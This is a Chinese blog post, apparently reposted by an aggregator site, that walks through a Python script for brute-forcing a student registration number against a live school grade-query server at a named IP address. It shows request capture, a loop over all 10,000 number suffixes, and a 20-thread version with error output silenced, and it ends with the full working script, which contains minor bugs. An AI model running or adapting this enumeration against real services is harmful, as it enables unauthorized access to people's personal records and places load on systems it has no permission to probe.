以前一直都是照著別人的爬蟲進(jìn)行修改實(shí)驗，這次自己親手查請求包看源碼完成了一個爬蟲。寫篇blog紀(jì)念一下（

具體需求是@ShellBin想要幫女朋友查成績，但是他女朋友不記得她自己的學(xué)籍號了，查成績需要身份證號和學(xué)籍號，缺一不可，于是，他想要爆破查成績。

這次使用的是python3和requests包

首先，我們要通過抓包獲取請求的格式，我們嘗試輸入身份證和學(xué)籍號，通過chrome的抓包我們可以看到請求頭、請求地址和請求正文的格式。

當(dāng)然，因為我們隨便發(fā)送了一個身份證和學(xué)籍號，所以返回的請求是一個輸入錯誤。

有了請求的頭、地址和正文，我們可以嘗試拼裝出一個請求，嘗試使用現(xiàn)充shell本人的信息進(jìn)行查詢。

xjh = '**************'

sfzh = '******************'

params = {'sfzh': sfzh, 'xjh': xjh}

url = 'http://218.26.172.230/2011/Home/Query'

r = requests.post(url,data = params)

我們收到了一個json格式的數(shù)據(jù)包，同樣，我們使用r.text將數(shù)據(jù)取出來就可以看到現(xiàn)充的丑惡嘴臉了（

接下來就是如何遍歷學(xué)籍號了，現(xiàn)充shell告訴我學(xué)籍號由兩個部分組成，一段前綴和0000-9999的尾數(shù)。所以我們需要一個leftpad（不是在黑node.js）

def zeropad(num,lenth):

dlen = lenth-len(str(num))

temps = ''

for x in range(dlen):

temps += '0'

return temps + str(num)

然后我們只需設(shè)定好現(xiàn)充shell女友的身份證號后暴力遍歷即可，由于數(shù)據(jù)是json格式，我們需要引入json包。

for x in range(10000):

xjh = '1401141702'+ zeropad(x,4)

sfzh = '******************'

params = {'sfzh': sfzh, 'xjh': xjh}

url = 'http://218.26.172.230/2011/Home/Query'

r = requests.post(url,data = params)

jsondata = json.loads(r.text)

if('error' not in jsondata.keys()):

print(r.text)

然后。我們發(fā)現(xiàn)由于數(shù)據(jù)量過大，而整個程序的瓶頸在于服務(wù)器交互上，所以我決定使用多線程來優(yōu)化程序。

我們引入threading包和queue包。threading包用于開線程，queue包用于為線程分發(fā)任務(wù)。

這同時，我們會遇到幾個問題：

在找到正確的學(xué)籍號后，我們怎樣終止所有的線程？

如何為線程分發(fā)任務(wù)使之不沖突？

經(jīng)過一番查找，我決定使用人為拋出異常來終止線程。

而分發(fā)任務(wù)上我決定通過queue來進(jìn)行分發(fā)（當(dāng)然機(jī)智的現(xiàn)充shell也想出了一個好辦法，將整個0000-9999的數(shù)據(jù)平均分為20份，直接分配給20個線程）

人為拋出異常的實(shí)現(xiàn)

if(flag):

raise SystemError("i'm just find it")

分發(fā)任務(wù)的實(shí)現(xiàn)

flag=0

task_queue = queue.Queue()

def checkid():

x = task_queue.get()

global flag

if(flag):

raise SystemError("i'm just find it")

xjh = '1401141702'+ zeropad(x,4)

sfzh = '******************'

params = {'sfzh': sfzh, 'xjh': xjh}

url = 'http://218.26.172.230/2011/Home/Query'

r = requests.post(url,data = params)

jsondata = json.loads(r.text)

if('error' not in jsondata.keys()):

print(r.text)

flag=1

checkid()

這樣，我們只要開啟多個線程來執(zhí)行checkid函數(shù)即可

for x in range(20):

sthread = threading.Thread(target=checkid)

sthread.start()

效率確實(shí)得到了明顯的提升。查找速度提升了大概五六倍。

但是還有個問題，由于我們拋出了異常并且開了20個線程，最后的異常顯示就會把我們的屏幕堆滿，不知道最終輸出在哪里了。所以我們引入sys包，重定向異常的輸出位置。并使用try…catch…來捕獲異常，將異常輸出關(guān)掉。

sys.stderr = None

這樣，整個結(jié)果就很明朗了，全部代碼如下：

import requests

import json

import threading

import queue

import sys

sys.stderr = None

flag=0

task_queue = queue.Queue()

def zeropad(num,lenth):

dlen = lenth-len(str(num))

temps = ''

for x in range(dlen):

temps += '0'

return temps + str(num)

def checkid():

try:

x = task_queue.get()

global flag

if(flag):

raise SystemError("i'm just find it")

xjh = '1401141702'+ zeropad(x,4)

sfzh = '******************'

params = {'sfzh': sfzh, 'xjh': xjh}

url = 'http://218.26.172.230/2011/Home/Query'

r = requests.post(url,data = params)

jsondata = json.loads(r.text)

if('error' not in jsondata.keys()):

print(r.text)

flag=1

checkid()

except Queue.Empty:

pass

for x in range(10000):

task_queue.put(x)

for x in range(20):

sthread = threading.Thread(target=checkid)

sthread.start()

參考資料：

總結(jié)

以上是生活随笔為你收集整理的python爬取学籍_python 爬取现充Shell的成绩单的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。